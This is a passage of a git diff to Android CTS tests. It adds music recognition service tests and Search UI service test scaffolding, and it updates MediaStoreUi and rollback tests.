+oni@google.com
+volnov@google.com
diff --git a/tests/musicrecognition/OutsideOfPackageService/Android.bp b/tests/musicrecognition/OutsideOfPackageService/Android.bp
new file mode 100644
index 0000000..24eac55
--- /dev/null
+++ b/tests/musicrecognition/OutsideOfPackageService/Android.bp
@@ -0,0 +1,30 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsOutsideOfPackageService",
+    defaults: ["cts_defaults"],
+    sdk_version: "system_current",
+    static_libs: [
+            "androidx.annotation_annotation",
+        ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+}
diff --git a/tests/musicrecognition/OutsideOfPackageService/AndroidManifest.xml b/tests/musicrecognition/OutsideOfPackageService/AndroidManifest.xml
new file mode 100644
index 0000000..88990fc
--- /dev/null
+++ b/tests/musicrecognition/OutsideOfPackageService/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.musicrecognition.cts2"
+    android:targetSandboxVersion="2">
+
+    <application>
+        <service android:name=".OutsideOfPackageService"
+            android:label="OutsideOfPackage"
+            android:exported="true">
+        </service>
+    </application>
+</manifest>
diff --git a/tests/musicrecognition/OutsideOfPackageService/src/android/musicrecognition/cts2/OutsideOfPackageService.java b/tests/musicrecognition/OutsideOfPackageService/src/android/musicrecognition/cts2/OutsideOfPackageService.java
new file mode 100644
index 0000000..1e0608a6
--- /dev/null
+++ b/tests/musicrecognition/OutsideOfPackageService/src/android/musicrecognition/cts2/OutsideOfPackageService.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.musicrecognition.cts2;
+
+import android.media.AudioFormat;
+import android.media.musicrecognition.MusicRecognitionService;
+import android.os.ParcelFileDescriptor;
+
+import androidx.annotation.NonNull;
+
+/** No-op implementation of MusicRecognitionService for testing purposes. */
+public class OutsideOfPackageService extends MusicRecognitionService {
+
+    @Override
+    public void onRecognize(@NonNull ParcelFileDescriptor stream,
+            @NonNull AudioFormat audioFormat,
+            @NonNull Callback callback) {
+        throw new RuntimeException("unexpected call to onRecognize!");
+    }
+}
diff --git a/tests/musicrecognition/TEST_MAPPING b/tests/musicrecognition/TEST_MAPPING
new file mode 100644
index 0000000..612fa47
--- /dev/null
+++ b/tests/musicrecognition/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsMusicRecognitionTestCases"
+    }
+  ]
+}
diff --git a/tests/musicrecognition/src/android/musicrecognition/cts/CtsMusicRecognitionService.java b/tests/musicrecognition/src/android/musicrecognition/cts/CtsMusicRecognitionService.java
new file mode 100644
index 0000000..d100fed
--- /dev/null
+++ b/tests/musicrecognition/src/android/musicrecognition/cts/CtsMusicRecognitionService.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.musicrecognition.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.ComponentName;
+import android.media.AudioFormat;
+import android.media.MediaMetadata;
+import android.media.musicrecognition.MusicRecognitionManager;
+import android.media.musicrecognition.MusicRecognitionService;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+
+import androidx.annotation.NonNull;
+
+import com.google.common.io.ByteStreams;
+
+import java.io.IOException;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/** No-op implementation of MusicRecognitionService for testing purposes. */
+public class CtsMusicRecognitionService extends MusicRecognitionService {
+    public static final ComponentName SERVICE_COMPONENT = new ComponentName(
+            "android.musicrecognition.cts", CtsMusicRecognitionService.class.getName());
+
+    private static Watcher sWatcher;
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        sWatcher.destroyed.countDown();
+    }
+
+    @Override
+    public void onRecognize(@NonNull ParcelFileDescriptor stream,
+            @NonNull AudioFormat audioFormat,
+            @NonNull Callback callback) {
+        if (sWatcher.failureCode != 0) {
+            callback.onRecognitionFailed(sWatcher.failureCode);
+        } else {
+            sWatcher.stream = readStream(stream);
+            callback.onRecognitionSucceeded(sWatcher.result, sWatcher.resultExtras);
+        }
+    }
+
+    private byte[] readStream(ParcelFileDescriptor stream) {
+        ParcelFileDescriptor.AutoCloseInputStream fis =
+                new ParcelFileDescriptor.AutoCloseInputStream(stream);
+        try {
+            return ByteStreams.toByteArray(fis);
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public static Watcher setWatcher() {
+        if (sWatcher != null) {
+            throw new IllegalStateException("Set watcher with watcher already set");
+        }
+        sWatcher = new Watcher();
+        return sWatcher;
+    }
+
+    public static void clearWatcher() {
+        sWatcher = null;
+    }
+
+    public static final class Watcher {
+        private static final long SERVICE_LIFECYCLE_TIMEOUT_MS = 30_000;
+
+        public CountDownLatch destroyed = new CountDownLatch(1);
+        public int failureCode = 0;
+        public byte[] stream;
+        public MediaMetadata result;
+        public Bundle resultExtras;
+
+        public void awaitOnDestroy() {
+            await(destroyed, "Waiting for service destroyed");
+        }
+
+        private void await(@NonNull CountDownLatch latch, @NonNull String message) {
+            try {
+                assertWithMessage(message).that(
+                        latch.await(SERVICE_LIFECYCLE_TIMEOUT_MS, TimeUnit.MILLISECONDS)).isTrue();
+            } catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+                throw new IllegalStateException("Interrupted while: " + message);
+            }
+        }
+    }
+}
diff --git a/tests/musicrecognition/src/android/musicrecognition/cts/MusicRecognitionManagerTest.java b/tests/musicrecognition/src/android/musicrecognition/cts/MusicRecognitionManagerTest.java
new file mode 100644
index 0000000..54e5f69
--- /dev/null
+++ b/tests/musicrecognition/src/android/musicrecognition/cts/MusicRecognitionManagerTest.java
@@ -0,0 +1,214 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.musicrecognition.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.content.Context;
+import android.media.AudioAttributes;
+import android.media.AudioFormat;
+import android.media.AudioRecord;
+import android.media.MediaMetadata;
+import android.media.MediaRecorder;
+import android.media.musicrecognition.MusicRecognitionManager;
+import android.media.musicrecognition.RecognitionRequest;
+import android.os.Binder;
+import android.os.Build;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.RequiredServiceRule;
+import com.android.compatibility.common.util.ShellUtils;
+
+import com.google.common.util.concurrent.MoreExecutors;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+import org.mockito.Captor;
+import org.mockito.Mock;
+import org.mockito.MockitoAnnotations;
+
+/**
+ * Tests for {@link MusicRecognitionManager}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class MusicRecognitionManagerTest {
+    private static final String TAG = MusicRecognitionManagerTest.class.getSimpleName();
+    private static final long VERIFY_TIMEOUT_MS = 40_000;
+
+    @Rule public TestName mTestName = new TestName();
+    @Rule
+    public final RequiredServiceRule mRequiredServiceRule =
+            new RequiredServiceRule(Context.MUSIC_RECOGNITION_SERVICE);
+
+    private MusicRecognitionManager mManager;
+    private CtsMusicRecognitionService.Watcher mWatcher;
+    @Mock MusicRecognitionManager.RecognitionCallback mCallback;
+    @Captor ArgumentCaptor<Bundle> mBundleCaptor;
+
+    @Before
+    public void setUp() {
+        MockitoAnnotations.initMocks(this);
+        // Grant permission to call the api.
+        escalateTestPermissions();
+
+        mManager = getContext().getSystemService(MusicRecognitionManager.class);
+        mWatcher = CtsMusicRecognitionService.setWatcher();
+        // Tell MusicRecognitionManagerService to use our no-op service instead.
+        setService(CtsMusicRecognitionService.SERVICE_COMPONENT.flattenToString());
+    }
+
+    @After
+    public void tearDown() {
+        resetService();
+        mWatcher = null;
+        CtsMusicRecognitionService.clearWatcher();
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+    }
+
+    @Test
+    public void testOnRecognitionFailed() throws Exception {
+        mWatcher.failureCode = MusicRecognitionManager.RECOGNITION_FAILED_NO_CONNECTIVITY;
+
+        invokeMusicRecognitionApi();
+
+        verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onAudioStreamClosed();
+        verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onRecognitionFailed(any(),
+                eq(MusicRecognitionManager.RECOGNITION_FAILED_NO_CONNECTIVITY));
+        verify(mCallback, never()).onRecognitionSucceeded(any(), any(), any());
+    }
+
+    @Test
+    public void testOnRecognitionSucceeded() throws Exception {
+        mWatcher.result = new MediaMetadata.Builder()
+                .putString(MediaMetadata.METADATA_KEY_ARTIST, "artist")
+                .putString(MediaMetadata.METADATA_KEY_TITLE, "title")
+                .build();
+
+        RecognitionRequest request = invokeMusicRecognitionApi();
+
+        verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onAudioStreamClosed();
+        verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onRecognitionSucceeded(eq(request),
+                eq(mWatcher.result), eq(null));
+        verify(mCallback, never()).onRecognitionFailed(any(), anyInt());
+        // 8 seconds minus 16k frames dropped from the beginning.
+        assertThat(mWatcher.stream).hasLength(256_000 - 32_000);
+    }
+
+    @Test
+    public void testRemovesBindersFromBundle() throws Exception {
+        ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
+        mWatcher.result = new MediaMetadata.Builder().build();
+        mWatcher.resultExtras = new Bundle();
+        mWatcher.resultExtras.putString("stringKey", "stringValue");
+        mWatcher.resultExtras.putBinder("binderKey", new Binder());
+        mWatcher.resultExtras.putParcelable("fdKey", pipe[0]);
+
+        RecognitionRequest request = invokeMusicRecognitionApi();
+
+        verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onAudioStreamClosed();
+        verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onRecognitionSucceeded(eq(request),
+                eq(mWatcher.result), mBundleCaptor.capture());
+
+        assertThat(mBundleCaptor.getValue().getString("stringKey")).isEqualTo("stringValue");
+        // Binder and file descriptor removed.
+        assertThat(mBundleCaptor.getValue().size()).isEqualTo(1);
+
+        pipe[0].close();
+        pipe[1].close();
+    }
+
+    /**
+     * Verifies the shell override is only allowed when the caller of the api is also the owner of
+     * the override service.
+     */
+    @Test
+    public void testDoesntBindToForeignService() {
+        setService(
+                "android.musicrecognition.cts2/android.musicrecognition.cts2"
+                        + ".OutsideOfPackageService");
+
+        invokeMusicRecognitionApi();
+
+        verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onRecognitionFailed(any(),
+                eq(MusicRecognitionManager.RECOGNITION_FAILED_SERVICE_UNAVAILABLE));
+        verify(mCallback, never()).onRecognitionSucceeded(any(), any(), any());
+    }
+
+    private RecognitionRequest invokeMusicRecognitionApi() {
+        AudioRecord record = new AudioRecord(MediaRecorder.AudioSource.MIC, 16_000,
+                AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_16BIT, 256_000);
+
+        RecognitionRequest request = new RecognitionRequest.Builder()
+                .setAudioAttributes(new AudioAttributes.Builder()
+                        .setInternalCapturePreset(MediaRecorder.AudioSource.MIC)
+                        .build())
+                .setAudioFormat(record.getFormat())
+                .setCaptureSession(record.getAudioSessionId())
+                .setMaxAudioLengthSeconds(8)
+                // Drop the first second of audio.
+                .setIgnoreBeginningFrames(16_000)
+                .build();
+        mManager.beginStreamingSearch(
+                request,
+                MoreExecutors.directExecutor(),
+                mCallback);
+        return request;
+    }
+
+    /**
+     * Sets the music recognition service.
+     */
+    private static void setService(@NonNull String service) {
+        Log.d(TAG, "Setting music recognition service to " + service);
+        int userId = android.os.Process.myUserHandle().getIdentifier();
+        runShellCommand(
+                "cmd music_recognition set temporary-service %d %s 60000", userId, service);
+    }
+
+    private static void resetService() {
+        Log.d(TAG, "Resetting music recognition service");
+        int userId = android.os.Process.myUserHandle().getIdentifier();
+        runShellCommand("cmd music_recognition set temporary-service %d", userId);
+    }
+
+    private static void escalateTestPermissions() {
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                "android.permission.MANAGE_MUSIC_RECOGNITION");
+    }
+}
diff --git a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
index 6778b69..49876de 100644
--- a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
+++ b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
@@ -19,6 +19,7 @@
 import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
 import android.app.Activity;
@@ -38,13 +39,17 @@
 import android.os.storage.StorageManager;
 import android.os.storage.StorageVolume;
 import android.os.UserManager;
+import android.provider.DocumentsContract;
 import android.provider.MediaStore;
 import android.provider.cts.ProviderTestUtils;
 import android.providerui.cts.GetResultActivity.Result;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.Until;
 import android.system.Os;
 import android.text.format.DateUtils;
@@ -76,6 +81,7 @@
     private static final String TAG = "MediaStoreUiTest";
 
     private static final int REQUEST_CODE = 42;
+    private static final long TIMEOUT_MILLIS = 30 * DateUtils.SECOND_IN_MILLIS;
 
     private Instrumentation mInstrumentation;
     private Context mContext;
@@ -210,31 +216,43 @@
         Log.v(TAG, "Staged " + mFile + " as " + mMediaStoreUri);
     }
 
-    private Uri acquireAccess(File file, String directoryName) {
+    private void assertToolbarTitleEquals(String targetPackageName, String label)
+            throws UiObjectNotFoundException {
+        final UiSelector toolbarUiSelector = new UiSelector().resourceId(
+                targetPackageName + ":id/toolbar");
+        final UiSelector titleTextSelector = new UiSelector().className(
+                "android.widget.TextView").text(label);
+        final UiObject title = new UiObject(toolbarUiSelector.childSelector(titleTextSelector));
+
+        assertTrue(title.waitForExists(TIMEOUT_MILLIS));
+    }
+
+    private Uri acquireAccess(File file, String directoryName) throws Exception {
         StorageManager storageManager =
                 (StorageManager) mActivity.getSystemService(Context.STORAGE_SERVICE);
 
         // Request access from DocumentsUI
         final StorageVolume volume = storageManager.getStorageVolume(file);
         final Intent intent = volume.createOpenDocumentTreeIntent();
+
+        // launch the directory directly to avoid unexpected UiObject not found issue
+        final Uri rootUri = intent.getParcelableExtra(DocumentsContract.EXTRA_INITIAL_URI);
+        final String rootId = DocumentsContract.getRootId(rootUri);
+        final String documentId = rootId + ":" + directoryName;
+        intent.putExtra(DocumentsContract.EXTRA_INITIAL_URI,
+                DocumentsContract.buildDocumentUri(rootUri.getAuthority(), documentId));
         mActivity.startActivityForResult(intent, REQUEST_CODE);
 
         if (mTargetPackageName == null) {
             mTargetPackageName = getTargetPackageName(mActivity);
         }
-
-        // We started at the root of the storage device, and need to navigate
-        // into the requested directory
-        final BySelector directorySelector = By.pkg(mTargetPackageName)
-                .text(directoryName);
-        mDevice.wait(Until.hasObject(directorySelector), 30 * DateUtils.SECOND_IN_MILLIS);
-        mDevice.findObject(directorySelector).click();
         mDevice.waitForIdle();
+        assertToolbarTitleEquals(mTargetPackageName, directoryName);
 
         // Granting the access
         BySelector buttonPanelSelector = By.pkg(mTargetPackageName)
                 .res(mTargetPackageName + ":id/container_save");
-        mDevice.wait(Until.hasObject(buttonPanelSelector), 30 * DateUtils.SECOND_IN_MILLIS);
+        mDevice.wait(Until.hasObject(buttonPanelSelector), TIMEOUT_MILLIS);
         final UiObject2 buttonPanel = mDevice.findObject(buttonPanelSelector);
         final UiObject2 allowButton = buttonPanel.findObject(By.res("android:id/button1"));
         allowButton.click();
@@ -243,7 +261,7 @@
         // Granting the access by click "allow" in confirm dialog
         final BySelector dialogButtonPanelSelector = By.pkg(mTargetPackageName)
                 .res(mTargetPackageName + ":id/buttonPanel");
-        mDevice.wait(Until.hasObject(dialogButtonPanelSelector), 30 * DateUtils.SECOND_IN_MILLIS);
+        mDevice.wait(Until.hasObject(dialogButtonPanelSelector), TIMEOUT_MILLIS);
         final UiObject2 positiveButton = mDevice.findObject(dialogButtonPanelSelector)
                 .findObject(By.res("android:id/button1"));
         positiveButton.click();
@@ -257,7 +275,7 @@
         final Uri resultUri = resultIntent.getData();
         final int flags = resultIntent.getFlags()
                 & (Intent.FLAG_GRANT_READ_URI_PERMISSION
-                    | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+                | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
         mActivity.getContentResolver().takePersistableUriPermission(resultUri, flags);
         return resultUri;
     }
diff --git a/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java b/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java
index b6844de..878ccb1 100644
--- a/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java
+++ b/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java
@@ -23,6 +23,7 @@
 
 import android.Manifest;
 import android.content.rollback.RollbackInfo;
+import android.provider.DeviceConfig;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -57,7 +58,9 @@
                 .adoptShellPermissionIdentity(
                     Manifest.permission.INSTALL_PACKAGES,
                     Manifest.permission.DELETE_PACKAGES,
-                    Manifest.permission.TEST_MANAGE_ROLLBACKS);
+                    Manifest.permission.TEST_MANAGE_ROLLBACKS,
+                    Manifest.permission.READ_DEVICE_CONFIG,
+                    Manifest.permission.WRITE_DEVICE_CONFIG);
 
         Uninstall.packages(TestApp.A);
     }
@@ -129,4 +132,30 @@
             InstallUtils.getPackageInstaller().abandonSession(sessionId);
         }
     }
+
+    /**
+     * Test that flags are cleared when a rollback is committed.
+     */
+    @Test
+    public void testRollbackClearsFlags() throws Exception {
+        Install.single(TestApp.A1).commit();
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+        RollbackUtils.waitForRollbackGone(
+                () -> getRollbackManager().getAvailableRollbacks(), TestApp.A);
+
+        Install.single(TestApp.A2).setEnableRollback().commit();
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+        RollbackInfo available = RollbackUtils.waitForAvailableRollback(TestApp.A);
+
+        DeviceConfig.setProperty("configuration", "namespace_to_package_mapping",
+                "testspace:" + TestApp.A, false);
+        DeviceConfig.setProperty("testspace", "flagname", "hello", false);
+        DeviceConfig.setProperty("testspace", "another", "12345", false);
+        assertThat(DeviceConfig.getProperties("testspace").getKeyset()).hasSize(2);
+
+        RollbackUtils.rollback(available.getRollbackId(), TestApp.A2);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+
+        assertThat(DeviceConfig.getProperties("testspace").getKeyset()).hasSize(0);
+    }
 }
diff --git a/tests/searchui/Android.bp b/tests/searchui/Android.bp
new file mode 100644
index 0000000..d06550f
--- /dev/null
+++ b/tests/searchui/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSearchUiServiceTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+        "testng",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/searchui/AndroidManifest.xml b/tests/searchui/AndroidManifest.xml
new file mode 100644
index 0000000..589c052
--- /dev/null
+++ b/tests/searchui/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.searchuiservice.cts"
+     android:targetSandboxVersion="2">
+
+    <application>
+        <uses-library android:name="android.test.runner"/>
+
+        <service android:name=".CtsSearchUiService"
+             android:label="CtsSearchUiService"
+             android:exported="true">
+            <intent-filter>
+                <!-- This constant must match SearchUiService.SERVICE_INTERFACE -->
+                <action android:name="android.service.search.SearchUiService"/>
+            </intent-filter>
+        </service>
+
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for the Search Ui Framework APIs."
+         android:targetPackage="android.searchuiservice.cts">
+    </instrumentation>
+
+</manifest>
diff --git a/tests/searchui/AndroidTest.xml b/tests/searchui/AndroidTest.xml
new file mode 100644
index 0000000..c033f4c
--- /dev/null
+++ b/tests/searchui/AndroidTest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for Search UI Service CTS tests.">
+  <option name="test-suite-tag" value="cts" />
+  <option name="config-descriptor:metadata" key="component" value="framework" />
+  <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+  <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+  <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+  <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+    <option name="cleanup-apks" value="true" />
+    <option name="test-file-name" value="CtsSearchUiServiceTestCases.apk" />
+  </target_preparer>
+
+  <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+    <option name="package" value="android.searchuiservice.cts" />
+    <!-- 20x default timeout of 600sec -->
+    <option name="shell-timeout" value="12000000"/>
+  </test>
+
+</configuration>
diff --git a/tests/searchui/OWNERS b/tests/searchui/OWNERS
new file mode 100644
index 0000000..534f688
--- /dev/null
+++ b/tests/searchui/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 758286
+hyunyoungs@google.com
diff --git a/tests/searchui/TEST_MAPPING b/tests/searchui/TEST_MAPPING
new file mode 100644
index 0000000..1135ad2
--- /dev/null
+++ b/tests/searchui/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsSearchUiServiceTestCases"
+    }
+  ]
+}
diff --git a/tests/searchui/src/android/searchuiservice/cts/CtsSearchUiService.java b/tests/searchui/src/android/searchuiservice/cts/CtsSearchUiService.java
new file mode 100644
index 0000000..583602f
--- /dev/null
+++ b/tests/searchui/src/android/searchuiservice/cts/CtsSearchUiService.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.searchuiservice.cts;
+
+import android.app.search.Query;
+import android.app.search.SearchContext;
+import android.app.search.SearchSessionId;
+import android.app.search.SearchTarget;
+import android.app.search.SearchTargetEvent;
+import android.content.Intent;
+import android.service.search.SearchUiService;
+import android.util.Log;
+
+import org.mockito.Mockito;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.List;
+import java.util.function.Consumer;
+
+public class CtsSearchUiService extends SearchUiService {
+
+    private static final boolean DEBUG = false;
+    private static final String TAG = CtsSearchUiService.class.getSimpleName();
+
+    public static final String MY_PACKAGE = "android.searchuiservice.cts";
+    public static final String SERVICE_NAME = MY_PACKAGE + "/."
+            + CtsSearchUiService.class.getSimpleName();
+
+    private static Watcher sWatcher;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        if (DEBUG) Log.d(TAG, "onCreate");
+
+    }
+
+    @Override
+    public void onDestroy(SearchSessionId sessionId) {
+        if (DEBUG) Log.d(TAG, "onDestroy");
+        super.onDestroy();
+        sWatcher.destroyed.countDown();
+    }
+
+    @Override
+    public boolean onUnbind(Intent intent) {
+        if (DEBUG) Log.d(TAG, "unbind");
+        return super.onUnbind(intent);
+    }
+
+    @Override
+    public void onCreateSearchSession(SearchContext context,
+            SearchSessionId sessionId) {
+        if (DEBUG) Log.d(TAG, "onCreateSearchSession");
+
+        if (sWatcher.verifier != null) {
+            Log.e(TAG, "onCreateSearchSession, trying to set verifier when it already exists");
+        }
+        sWatcher.verifier = Mockito.mock(CtsSearchUiService.class);
+        sWatcher.created.countDown();
+    }
+
+    @Override
+    public void onNotifyEvent(SearchSessionId sessionId,
+            Query input, SearchTargetEvent event) {
+        if (DEBUG){
+            Log.d(TAG, "onNotifyEvent query=" + input.toString() + ", event="
+                    + event.toString());
+        }
+        sWatcher.verifier.onNotifyEvent(sessionId, input, event);
+    }
+
+    @Override
+    public void onQuery(SearchSessionId sessionId, Query input,
+            Consumer<List<SearchTarget>> callback) {
+        if (DEBUG) Log.d(TAG, "onQuery query=" + input.toString());
+        if (sWatcher.searchTargets != null) {
+            callback.accept(sWatcher.searchTargets);
+        } else {
+            sWatcher.verifier.onQuery(sessionId, input, callback);
+        }
+    }
+
+    public static Watcher setWatcher() {
+        if (DEBUG) {
+            Log.d(TAG, "");
+            Log.d(TAG, "----------------------------------------------");
+            Log.d(TAG, " setWatcher");
+        }
+        if (sWatcher != null) {
+            throw new IllegalStateException("Set watcher with watcher already set");
+        }
